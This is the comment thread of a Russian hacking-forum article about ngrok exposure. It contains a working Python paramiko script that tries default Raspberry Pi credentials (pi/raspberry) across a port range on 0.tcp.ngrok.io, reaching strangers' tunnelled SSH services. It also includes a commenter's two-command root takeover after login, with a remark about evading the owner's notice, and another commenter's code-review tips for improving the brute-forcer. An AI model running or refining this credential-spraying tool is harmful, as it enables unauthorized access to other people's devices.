Статья Похек на шару, чем опасен ngrok и кривые руки

Дядюшка Рик · 18.07.2019

красавчик я не знал про это

KJhgIO · 20.07.2019

Вы изобрели машину времени и украли статью. Да как вам не совестно

Ссылка скрыта от гостей

id2746 · 20.07.2019

Всё что тут написано, от А до Я, обнаружено, выдумано и проэксплуатировано мной лично. Поэтому я не испытываю ни капли стыда и угрызений совести.
У меня была статья, котору также написал я сам, не опираясь и не переделывая чужие. Там в комментах писали, что раньше была такая тема, но ее продавали за $ как приватную.
Что поделать, если разные люди могут приходить к одинаковым выводам?
П.С. О сайте который ты рекламируешь я впервые слышу.
П.П.С. Если интересно конечно. За теоретическую основу брута была взята техника 2000х года, когда по паре логин\пасс брутили номера асек по списку. Я долго не мог найти инструмент для брута порта по требуемым парам имя\пассворд + сервис. Шло к тому, что я собирался переделывать чужие скрипты на python для этой задачи. Но знания python мне не позволили это сделать. Тем временем я вспомнил о potator, который по сути является хоть и сложным для новичков, но очень гибким интсрументом. Тесты прошли успешно и пропала необходимость писать свой скрипт. Я решил поделиться с форумом информацией, которую раздобыл и привел в порядок я сам. Не опираясь и тем более не копия чужое. Я не тот человек. Тем более это запрещено правилами форума.

А теперь поясни за свой базар, когда ты обвинил меня в воровстве.

Глюк · 20.07.2019

id2746 сказал(а):
Всё что тут написано, от А до Я, обнаружено, выдумано и проэксплуатировано мной лично. Поэтому я не испытываю ни капли стыда и угрызений совести.
У меня была статья, котору также написал я сам, не опираясь и не переделывая чужие. Там в комментах писали, что раньше была такая тема, но ее продавали за $ как приватную.
Что поделать, если разные люди могут приходить к одинаковым выводам?
П.С. О сайте который ты рекламируешь я впервые слышу.
П.П.С. Если интересно конечно. За теоретическую основу брута была взята техника 2000х года, когда по паре логин\пасс брутили номера асек по списку. Я долго не мог найти инструмент для брута порта по требуемым парам имя\пассворд + сервис. Шло к тому, что я собирался переделывать чужие скрипты на python для этой задачи. Но знания python мне не позволили это сделать. Тем временем я вспомнил о potator, который по сути является хоть и сложным для новичков, но очень гибким интсрументом. Тесты прошли успешно и пропала необходимость писать свой скрипт. Я решил поделиться с форумом информацией, которую раздобыл и привел в порядок я сам. Не опираясь и тем более не копия чужое. Я не тот человек. Тем более это запрещено правилами форума.

А теперь поясни за свой базар, когда ты обвинил меня в воровстве.

бро. не обращай внимания на всякую чушь. в конце статьи стоит

Автор @id2746

видимо кто то скопипастил ваш материал, вплоть до запетой, и выложил на том ресурсе. при этом честно указал автора материала. это у вас стырили статью.

larchik · 20.07.2019

id2746 сказал(а):
Всё что тут написано, от А до Я, обнаружено, выдумано и проэксплуатировано мной лично. Поэтому я не испытываю ни капли стыда и угрызений совести.
У меня была статья, котору также написал я сам, не опираясь и не переделывая чужие. Там в комментах писали, что раньше была такая тема, но ее продавали за $ как приватную.
Что поделать, если разные люди могут приходить к одинаковым выводам?
П.С. О сайте который ты рекламируешь я впервые слышу.
П.П.С. Если интересно конечно. За теоретическую основу брута была взята техника 2000х года, когда по паре логин\пасс брутили номера асек по списку. Я долго не мог найти инструмент для брута порта по требуемым парам имя\пассворд + сервис. Шло к тому, что я собирался переделывать чужие скрипты на python для этой задачи. Но знания python мне не позволили это сделать. Тем временем я вспомнил о potator, который по сути является хоть и сложным для новичков, но очень гибким интсрументом. Тесты прошли успешно и пропала необходимость писать свой скрипт. Я решил поделиться с форумом информацией, которую раздобыл и привел в порядок я сам. Не опираясь и тем более не копия чужое. Я не тот человек. Тем более это запрещено правилами форума.

А теперь поясни за свой базар, когда ты обвинил меня в воровстве.

Я думаю, что автор комментария о “машине времени” просто пошутил, а вы не поняли.
Иначе как вы могли украсть статью, которая опубликована позже вашей, не имея машины времени?)
Никто не сомневается, что авторство принадлежит вам, а на xss ее утащили отсюда.

Спасибо за статью!

KJhgIO · 20.07.2019

id2746 сказал(а):
теперь поясни за свой базар, когда ты обвинил меня в воровстве.

Аааай, броооо, я просто шутиииил. Я даже специально написал про машину времени дабы меня не восприняли всерьёз.
Извини если потратил твои нервы.

За статью - спасибо.

id2746 · 20.07.2019

Хоть у меня и подгорело, я еще и объяснил то, что техники 2000 работают и в 2020

pp11 · 22.07.2019

Хочу сказать, что вы также при нахождении юзера pi можете получить доступ к root-учетке двумя командами. Но это если pi состоит в группе sudo.
Залогинились и дальше пишите:
sudo passwd root дальше пароль на который меняете
su root и пароль
Вот вы и под рутом. Но это вас может спалить, если пользователь зайдет под рута и обнаружит,что пароль слетел. Хотя если пользователь не опытный он просто загуглит как его обратно поменять.

Treesss · 06.08.2019

И посмеялся и узнал кое-что новое для себя, спасибо побольше бы таких статей)

id2746 · 05.11.2019

Благодаря @f22 и @explorer , которые подогрели мой интерес к изучению python3, я наговнокодил POC на тему моей статьи )

Python:

import paramiko
from time import sleep

print('██╗██████╗ ██████╗ ███████╗██╗  ██╗ ██████╗ ')
sleep (0.5)
print('██║██╔══██╗╚════██╗╚════██║██║  ██║██╔════╝ ')
sleep (0.5)
print('██║██║  ██║ █████╔╝    ██╔╝███████║███████╗ ')
sleep (0.5)
print('██║██║  ██║██╔═══╝    ██╔╝ ╚════██║██╔═══██╗')
sleep (0.5)
print('██║██████╔╝███████╗   ██║       ██║╚██████╔╝')
sleep (0.5)
print('╚═╝╚═════╝ ╚══════╝   ╚═╝       ╚═╝ ╚═════╝ ')
sleep (0.5)
print('Hi there, mamkins hackers! Let\'s go!\n')
sleep (1)

host = '0.tcp.ngrok.io'
username = input('Enter username:\n') # pi
passwd = input ('Enter password:\n') # raspberry
port = int(input('Enter start port:\n')) #начальный порт
end_port = int(input('Enter end port:\n')) #конечный порт
good_ports = []
komunizm = 'но мы всё равно принесем коммунизм'
sleep (0.5)
print('\n\n\nПоехали!!!\n\n\n')
while port < end_port:
    ssh = paramiko.SSHClient()
    ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    try:   
        ssh.connect(hostname=host, username=username, password=passwd, port=port)
        good_ports.append(port)       
        print('Good port', port, 'with', username, passwd, 'found')
        ssh.close()
    except paramiko.ssh_exception.NoValidConnectionsError:
            print('Can\'t connect to', host, 'on', port, komunizm)
    except paramiko.ssh_exception.AuthenticationException:
            print('Can\'t connect to', host, 'on', port, komunizm)
    except paramiko.ssh_exception.SSHException:
            print('Can\'t connect to', host, 'on', port, komunizm)
    port = port + 1
    
print ('\n\n\nNow you can connetct to ports', good_ports, 'on', host, 'with username', username, 'and password',passwd,', mamkin hacker.\n\n\n')
input('Готово')

Такие дела...

f22 · 05.11.2019

id2746 сказал(а):

Благодаря @f22 и @explorer , которые подогрели мой интерес к изучению python3, я наговнокодил POC на тему моей статьи )

Python:

import paramiko
from time import sleep

print('██╗██████╗ ██████╗ ███████╗██╗  ██╗ ██████╗ ')
sleep (0.5)
print('██║██╔══██╗╚════██╗╚════██║██║  ██║██╔════╝ ')
sleep (0.5)
print('██║██║  ██║ █████╔╝    ██╔╝███████║███████╗ ')
sleep (0.5)
print('██║██║  ██║██╔═══╝    ██╔╝ ╚════██║██╔═══██╗')
sleep (0.5)
print('██║██████╔╝███████╗   ██║       ██║╚██████╔╝')
sleep (0.5)
print('╚═╝╚═════╝ ╚══════╝   ╚═╝       ╚═╝ ╚═════╝ ')
sleep (0.5)
print('Hi there, mamkins hackers! Let\'s go!\n')
sleep (1)

host = '0.tcp.ngrok.io'
username = input('Enter username:\n') # pi
passwd = input ('Enter password:\n') # raspberry
port = int(input('Enter start port:\n')) #начальный порт
end_port = int(input('Enter end port:\n')) #конечный порт
good_ports = []
komunizm = 'но мы всё равно принесем коммунизм'
sleep (0.5)
print('\n\n\nПоехали!!!\n\n\n')
while port < end_port:
    ssh = paramiko.SSHClient()
    ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    try: 
        ssh.connect(hostname=host, username=username, password=passwd, port=port)
        good_ports.append(port)     
        print('Good port', port, 'with', username, passwd, 'found')
        ssh.close()
    except paramiko.ssh_exception.NoValidConnectionsError:
            print('Can\'t connect to', host, 'on', port, komunizm)
    except paramiko.ssh_exception.AuthenticationException:
            print('Can\'t connect to', host, 'on', port, komunizm)
    except paramiko.ssh_exception.SSHException:
            print('Can\'t connect to', host, 'on', port, komunizm)
    port = port + 1
  
print ('\n\n\nNow you can connetct to ports', good_ports, 'on', host, 'with username', username, 'and password',passwd,', mamkin hacker.\n\n\n')
input('Готово')

Такие дела...

Посмотреть вложение 34618

Молодчина! Лично я считаю, что любые идеи (не противоречащие закону, конечно)
нужно пытаться реализовать.
Особенно приятно, что имею какое-то отношение к твоему труду )

Обрати внимание на нативную реализацию

Ссылка скрыта от гостей

для python
Гораздо проще написать цикл, который будет сначала сканировать все порты,
Выдавать открытые или с висящим SSH сервисом, а уж потом этот сервис брутить.
Или сделать это прямо в цикле, через if
Вот отличная инструкция по работе с

Ссылка скрыта от гостей

И ещё пару моментов:
В твоём случае я бы добавил сразу после входа в цикл while строку
вроде print(port, "of", end_port),
чтобы видеть работу утилиты и знать, сколько ещё осталось портов

Такое количество except'ов вообще не обязательно, если их отчёт
принципиально не важен
Достаточно оставить один

Python:

try:   
    ssh.connect(hostname=host, username=username, password=passwd, port=port)
    good_ports.append(port)       
    print('Good port', port, 'with', username, passwd, 'found')
    ssh.close()
except:
    print('Can\'t connect to', host, 'on', port, komunizm)

А вот, если тебе нужно знать, что же вызвало исключение,
тогда, конечно, нужно использовать несколько except'ов
и для каждого писать своё описание

Python:

try:   
    ssh.connect(hostname=host, username=username, password=passwd, port=port)
    good_ports.append(port)       
    print('Good port', port, 'with', username, passwd, 'found')
    ssh.close()
except paramiko.ssh_exception.NoValidConnectionsError:
    print('Ошибка: нет соединения")
except paramiko.ssh_exception.AuthenticationException:
    print('Ошибка: неправильный логин или пароль")
except paramiko.ssh_exception.SSHException:
    print('Ошибка SSHException")

Ну а тут можешь посмотреть, как какие-то забугорные
бородатые дядьки почти реализовали твою идею
SSH-Brute-Forcer

Все сервисы Codeby

Поиск

Поиск

Статья Похек на шару, чем опасен ngrok и кривые руки

Дядюшка Рик

KJhgIO

Заблокирован

id2746

Глюк

larchik

KJhgIO

Заблокирован

id2746

pp11

Treesss

id2746

Вложения

f22

Codeby Academy